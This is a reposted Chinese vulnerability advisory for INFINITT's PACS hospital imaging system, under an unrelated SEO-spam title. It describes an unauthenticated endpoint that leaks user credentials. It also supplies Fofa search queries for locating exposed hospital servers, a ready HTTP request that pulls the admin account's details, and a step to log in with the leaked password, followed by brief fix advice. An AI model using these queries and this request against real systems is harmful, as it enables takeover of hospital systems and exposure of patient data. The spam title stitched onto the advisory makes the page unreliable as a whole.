当前位置: 首页> 汽车> 车展 > 日本软银集团十大股东_小程序启动失败_google优化师_网站关键词seo优化公司

日本软银集团十大股东_小程序启动失败_google优化师_网站关键词seo优化公司

时间:2025/7/11 17:45:52来源:https://blog.csdn.net/xc_214/article/details/143034802 浏览次数: 0次
日本软银集团十大股东_小程序启动失败_google优化师_网站关键词seo优化公司

0x01 产品描述:

       英飞达医学影像存档与通信系统(PACS)‌是一种应用于医院影像科室的系统,主要任务是将日常产生的各种医学影像(包括核磁、CT、超声、X光机等设备产生的图像)通过不同接口以数字化的方式保存,并在需要时快速调用,同时提供辅助诊断管理功能。它在医院数字化建设中扮演着重要角色,促进了医学影像的高效管理和资源共享‌

0x02 漏洞描述:

        ‌英飞达医学影像存档与通信系统(PACS)‌在/GetUserInfoByUserID接口中存在未授权访问,泄露登录等敏感信息,导致攻击者可登录接管系统。        

0x03 搜索语句:

Fofa:"INFINITT" && (icon_hash="1474455751" || icon_hash="702238928")

Fofa:body="./scripts/library/bluebird.min.js"

0x04 漏洞复现:

GET /webservices/WebUserLogin.asmx/GetUserInfoByUserID?userID=admin HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Connection: keep-alive

 使用泄露的用户名/密码尝试登录

0x05 修复建议:

对未授权信息泄露的接口加上权限校验,或接口加入ip白名单限制,同时回显数据进行脱敏处理。

关键字:日本软银集团十大股东_小程序启动失败_google优化师_网站关键词seo优化公司

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: